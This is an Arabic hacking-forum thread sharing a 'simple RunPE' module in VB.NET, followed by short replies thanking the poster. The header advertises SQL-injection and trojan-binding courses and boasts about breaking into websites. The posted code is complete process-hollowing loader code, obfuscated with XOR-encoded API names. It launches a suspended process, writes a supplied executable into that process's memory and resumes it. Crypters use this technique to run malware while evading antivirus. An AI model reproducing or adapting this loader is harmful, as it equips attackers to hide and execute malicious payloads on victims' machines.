1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ حل ] Runpe بسيط بلغة [ Vb.net ]

الموضوع في 'حماية الأجهزة' بواسطة P H A N T O M, بتاريخ ‏29 سبتمبر 2015.

كاتب الموضوع : P H A N T O M المشاهدات : 270 الردود : 6 ‏29 سبتمبر 2015
حالة الموضوع:
مغلق
  1. غير متصل

    P H A N T O M
    rank
    Developer

    عضو منذ:
    ‏8 سبتمبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    [​IMG]
    » الصلاة و السلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده و نشكره و نستعينه و نستغفره و نعود بالله من شرور أنفسنا و من سيئاتأعمالنا ...~
    » من يهده الله فلا مظل له و من يظلل فلن تجد له ولياً مرشدا ...~
    » و أشهد ألا إلالله إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...~
    » وعلى آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم...~
    » ربي اشرح لي صدري و يسر لي أمري و احلل عقدة من لساني يفقهوا قولي ...~
    » أما بعد ...~
    » فإن أصدق الحديث كتاب الله تعالى و خير الهدي هديُ سيدنا محمد صلى الله عليه و سلم ...~
    » و شر الأمور محدثاتها و كل محدثة بدعة و كل بدعة ضلالة و كل ضلالة في النار ...~
    » فاللهم أجرنا و قنا عذابها برحمتك يا أرحم الراحمين ...~



    [​IMG]



    كود:
    Imports System
    Imports System.IO
    Imports System.Text
    Imports System.Runtime.InteropServices
     
    Module LojOyoWi7xKDcCkb1XpkXMi
     
     
        Public Declare Function ebxwGgdd4LCvYvG0ymJBmAJ Lib "kernel32" Alias "LoadLibraryA" (ByVal tssotWymetmte As String) As IntPtr
     
        Public Declare Function osyotoooeommSet Lib "kernel32" Alias "GetProcAddress" (ByVal vky92DQr7LChv2E9J6ClUIB As IntPtr, ByVal tssotWymetmte As String) As IntPtr
     
        Function MBjmUIUo7erzVnzDMzmgiVY(Of T)(ByVal tssotWymetmte As String, ByVal vUczuUaGmsUdK8oxLPrf4Ty As String) As T
     
            Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(osyotoooeommSet(ebxwGgdd4LCvYvG0ymJBmAJ(tssotWymetmte), vUczuUaGmsUdK8oxLPrf4Ty), GetType(T)), Object), T)
     
        End Function
     
        Delegate Function mtSSrSmySorees(ByVal oWmotymymmooSS As IntPtr, ByVal ymototmymmtmrm As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ0(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ3 As IntPtr) As UInteger
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ1(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ3 As IntPtr, ByRef bufr As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ4 As Integer, ByRef ebxwGgdd4LCvYvG0ymJBmAJ5 As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ6(ByVal ebxwGgdd4LCvYvG0ymJBmAJ7 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ8 As IntPtr) As UInteger
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ9(ByVal oWmotymymmooSS As IntPtr, ByVal ymototmymmtmrm As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function osyotoooeommSet0(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal osyotoooeommSet1 As IntPtr, ByVal osyotoooeommSet2 As IntPtr, ByVal osyotoooeommSet3 As Integer, ByVal osyotoooeommSet4 As Integer) As IntPtr
     
        Delegate Function osyotoooeommSet5(ByVal osyotoooeommSet6 As IntPtr, ByVal osyotoooeommSet7 As IntPtr, ByVal osyotoooeommSet8 As Byte(), ByVal osyotoooeommSet9 As UInteger, ByVal tssotWymetmte0 As Integer) As Boolean
     
        Public Declare Auto Function tssotWymetmte1 Lib "kernel32" Alias "CreateProcessW" (ByVal tssotWymetmte2 As String, ByVal tssotWymetmte3 As StringBuilder, ByVal tssotWymetmte4 As IntPtr, ByVal tssotWymetmte5 As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal foXt As Boolean, ByVal LRqu As Integer, ByVal uedW As IntPtr, ByVal VnJW As String, ByVal kKAh As Byte(), ByVal QnTi As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Private Function tssotWymetmte6(ByVal tssotWymetmte7 As Long, Optional ByVal tssotWymetmte8 As Long = &H4) As Integer
     
            Dim tssotWymetmte9 As IntPtr
     
            Dim vky92DQr7LChv2E9J6ClUIB0 As Integer
     
            Dim vky92DQr7LChv2E9J6ClUIB1 As ebxwGgdd4LCvYvG0ymJBmAJ1 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ1)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(28) & Chr(38) & Chr(0) & Chr(55) & Chr(51) & Chr(54) & Chr(4) & Chr(59) & Chr(32) & Chr(38) & Chr(39) & Chr(51) & Chr(62) & Chr(31) & Chr(55) & Chr(63) & Chr(61) & Chr(32) & Chr(43), "RSoFMJJUKOsVhjloNkQLGNU"))
     
            Call vky92DQr7LChv2E9J6ClUIB1(Process.GetCurrentProcess.Handle, tssotWymetmte7, tssotWymetmte9, tssotWymetmte8, vky92DQr7LChv2E9J6ClUIB0)
     
            Return tssotWymetmte9
     
        End Function
     
        Public Function vky92DQr7LChv2E9J6ClUIB3(ByVal vky92DQr7LChv2E9J6ClUIB4 As Byte(), ByVal vky92DQr7LChv2E9J6ClUIB5 As String) As Boolean
     
            Try
     
                Dim vky92DQr7LChv2E9J6ClUIB6 As GCHandle = GCHandle.Alloc(vky92DQr7LChv2E9J6ClUIB4, GCHandleType.Pinned) : Dim hModuleBase As Integer = vky92DQr7LChv2E9J6ClUIB6.AddrOfPinnedObject : vky92DQr7LChv2E9J6ClUIB6.Free()
     
                Dim tssotWymetmte4 As IntPtr = IntPtr.Zero
     
                Dim vky92DQr7LChv2E9J6ClUIB7 As IntPtr() = New IntPtr(3) {}
     
                Dim vky92DQr7LChv2E9J6ClUIB8 As Byte() = New Byte(67) {}
     
                Dim vky92DQr7LChv2E9J6ClUIB9 As Integer = BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, 60)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY0 As Integer
     
                Dim ymototmymmtmrm As UInteger() = New UInteger(178) {}
     
                ymototmymmtmrm(0) = &H10002
     
                tssotWymetmte1(Nothing, New StringBuilder(vky92DQr7LChv2E9J6ClUIB5), tssotWymetmte4, tssotWymetmte4, False, 4, tssotWymetmte4, Nothing, vky92DQr7LChv2E9J6ClUIB8, vky92DQr7LChv2E9J6ClUIB7)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY1 As Integer = (hModuleBase + tssotWymetmte6(hModuleBase + &H3C))
     
                MBjmUIUo7erzVnzDMzmgiVY0 = tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H34)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY2 As ebxwGgdd4LCvYvG0ymJBmAJ0 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ0)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(36) & Chr(30) & Chr(63) & Chr(4) & Chr(7) & Chr(11) & Chr(26) & Chr(60) & Chr(3) & Chr(15) & Chr(29) & Chr(37) & Chr(12) & Chr(57) & Chr(15) & Chr(9) & Chr(30) & Chr(3) & Chr(5) & Chr(4), "jDAZXISWJJithCuowglUNJG"))
     
                MBjmUIUo7erzVnzDMzmgiVY2(vky92DQr7LChv2E9J6ClUIB7(0), MBjmUIUo7erzVnzDMzmgiVY0)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY4 As osyotoooeommSet0 = MBjmUIUo7erzVnzDMzmgiVY(Of osyotoooeommSet0)(vky92DQr7LChv2E9J6ClUIB2(Chr(47) & Chr(33) & Chr(54) & Chr(42) & Chr(33) & Chr(40) & Chr(119) & Chr(118), "DlJuiIaXIEYUhSHnjcJeTGo"), vky92DQr7LChv2E9J6ClUIB2(Chr(18) & Chr(45) & Chr(54) & Chr(48) & Chr(49) & Chr(37) & Chr(40) & Chr(5) & Chr(40) & Chr(40) & Chr(43) & Chr(39) & Chr(1) & Chr(60), "DlJuiIaXIEYUhSHnjcJeTGo"))
     
                Dim osyotoooeommSet7 As IntPtr = MBjmUIUo7erzVnzDMzmgiVY4(vky92DQr7LChv2E9J6ClUIB7(0), MBjmUIUo7erzVnzDMzmgiVY0, tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H50), &H3000, &H40)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY3 As New IntPtr(BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, vky92DQr7LChv2E9J6ClUIB9 + &H34))
     
                Dim osyotoooeommSet2 As New IntPtr(BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, vky92DQr7LChv2E9J6ClUIB9 + 80))
     
                Dim MBjmUIUo7erzVnzDMzmgiVY5 As Integer
     
                Dim tssotWymetmte0 As Integer
     
                Dim MBjmUIUo7erzVnzDMzmgiVY6 As osyotoooeommSet5 = MBjmUIUo7erzVnzDMzmgiVY(Of osyotoooeommSet5)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(10) & Chr(48) & Chr(19) & Chr(54) & Chr(45) & Chr(48) & Chr(33) & Chr(18) & Chr(45) & Chr(54) & Chr(48) & Chr(49) & Chr(37) & Chr(40) & Chr(9) & Chr(33) & Chr(41) & Chr(43) & Chr(54) & Chr(61), "DlJuiIaXIEYUhSHnjcJeTGo"))
     
                MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), osyotoooeommSet7, vky92DQr7LChv2E9J6ClUIB4, CUInt(CInt(tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H54))), MBjmUIUo7erzVnzDMzmgiVY5)
     
                For i = 0 To tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H6, 2) - 1
     
                    Dim MBjmUIUo7erzVnzDMzmgiVY7 As Integer() = New Integer(9) {}
     
                    Buffer.BlockCopy(vky92DQr7LChv2E9J6ClUIB4, (vky92DQr7LChv2E9J6ClUIB9 + &HF8) + (i * 40), MBjmUIUo7erzVnzDMzmgiVY7, 0, 40)
     
                    Dim MBjmUIUo7erzVnzDMzmgiVY8 As Byte() = New Byte((MBjmUIUo7erzVnzDMzmgiVY7(4) - 1)) {}
     
                    Buffer.BlockCopy(vky92DQr7LChv2E9J6ClUIB4, MBjmUIUo7erzVnzDMzmgiVY7(5), MBjmUIUo7erzVnzDMzmgiVY8, 0, MBjmUIUo7erzVnzDMzmgiVY8.Length)
     
                    osyotoooeommSet2 = New IntPtr(osyotoooeommSet7.ToInt32() + MBjmUIUo7erzVnzDMzmgiVY7(3))
     
                    MBjmUIUo7erzVnzDMzmgiVY3 = New IntPtr(MBjmUIUo7erzVnzDMzmgiVY8.Length)
     
                    MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), osyotoooeommSet2, MBjmUIUo7erzVnzDMzmgiVY8, CUInt(MBjmUIUo7erzVnzDMzmgiVY3), tssotWymetmte0)
     
                Next i
     
                Dim MBjmUIUo7erzVnzDMzmgiVY9 As mtSSrSmySorees = MBjmUIUo7erzVnzDMzmgiVY(Of mtSSrSmySorees)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(61) & Chr(7) & Chr(52) & Chr(22) & Chr(7) & Chr(48) & Chr(28) & Chr(29) & Chr(7) & Chr(22) & Chr(11) & Chr(7) & Chr(39) & Chr(27) & Chr(1) & Chr(22) & Chr(18) & Chr(23), "sIhGXNMABeaGwIgIBrdVSnR"))
     
                MBjmUIUo7erzVnzDMzmgiVY9(vky92DQr7LChv2E9J6ClUIB7(1), ymototmymmtmrm)
     
                MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), ymototmymmtmrm(41) + &H8, BitConverter.GetBytes(osyotoooeommSet7.ToInt32()), CUInt(&H4), tssotWymetmte0)
     
                ymototmymmtmrm(&H2C) = MBjmUIUo7erzVnzDMzmgiVY0 + tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H28)
     
                Dim xblQH As ebxwGgdd4LCvYvG0ymJBmAJ9 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ9)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(61) & Chr(7) & Chr(32) & Chr(22) & Chr(7) & Chr(48) & Chr(28) & Chr(29) & Chr(7) & Chr(22) & Chr(11) & Chr(7) & Chr(39) & Chr(27) & Chr(1) & Chr(22) & Chr(18) & Chr(23), "sIhGXNMABeaGwIgIBrdVSnR"))
     
                xblQH(vky92DQr7LChv2E9J6ClUIB7(1), ymototmymmtmrm)
     
                Dim vUczuUaGmsUdK8oxLPrf4Ty0 As ebxwGgdd4LCvYvG0ymJBmAJ6 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ6)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(0) & Chr(58) & Chr(28) & Chr(43) & Chr(61) & Chr(59) & Chr(35) & Chr(43) & Chr(26) & Chr(38) & Chr(60) & Chr(43) & Chr(47) & Chr(42), "NqqbiMUBAZQewYpIknBeZjD"))
     
                vUczuUaGmsUdK8oxLPrf4Ty0(vky92DQr7LChv2E9J6ClUIB7(1), 0)
     
            Catch ex As Exception
     
                Return False
     
            End Try
     
            Return True
     
        End Function
     
     
        Private Function vky92DQr7LChv2E9J6ClUIB2(ByVal vUczuUaGmsUdK8oxLPrf4Ty1 As String, ByVal vUczuUaGmsUdK8oxLPrf4Ty2 As String)
            Dim vUczuUaGmsUdK8oxLPrf4Ty3 As String = ""
            Dim vUczuUaGmsUdK8oxLPrf4Ty4 As Short
            Dim vUczuUaGmsUdK8oxLPrf4Ty5 As Integer
            vUczuUaGmsUdK8oxLPrf4Ty5 = Asc(vUczuUaGmsUdK8oxLPrf4Ty2)
            For vUczuUaGmsUdK8oxLPrf4Ty4 = 1 To Len(vUczuUaGmsUdK8oxLPrf4Ty1)
                vUczuUaGmsUdK8oxLPrf4Ty3 &= Chr(vUczuUaGmsUdK8oxLPrf4Ty5 Xor Asc(Mid(vUczuUaGmsUdK8oxLPrf4Ty1, vUczuUaGmsUdK8oxLPrf4Ty4, 1)))
            Next
            Return vUczuUaGmsUdK8oxLPrf4Ty3
        End Function
     
    End Module

    [​IMG]


    الى جميع اعضاء ومشرفين عراق تيم بدون اسثناء

     


    جاري تحميل الصفحة...
  2. غير متصل

    علي الخاسفون هناا
    rankrank
    Developer

    عضو منذ:
    ‏26 نوفمبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    عاشت ايدك
     


  3. غير متصل

    سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    الوظيفة:
    ماكسي مول
    الإقامة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    احسنت بارك الله بيك
     


  4. غير متصل

    اوجاع
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏28 سبتمبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    الف شكر حبيبي ويعطيك العافيه ي غالي
     


  5. غير متصل

    GenTel
    rankrank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏22 يناير 2016
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    تسلم ي غالي ^.^
     


  6. غير متصل

    مسہہٰتہہٰر بٰٰرايہٰمر ᎿᎻᎬ ᏞᎥᏫᏁ
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏1 فبراير 2016
    عدد المشاركات:
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    احسنت اخي
     


  7. غير متصل

    Maxhack
    Developer

    عضو منذ:
    ‏5 مارس 2016
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: Runpe بسيط بلغة [ Vb.net ]

    حسنت حبيبيب ي
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...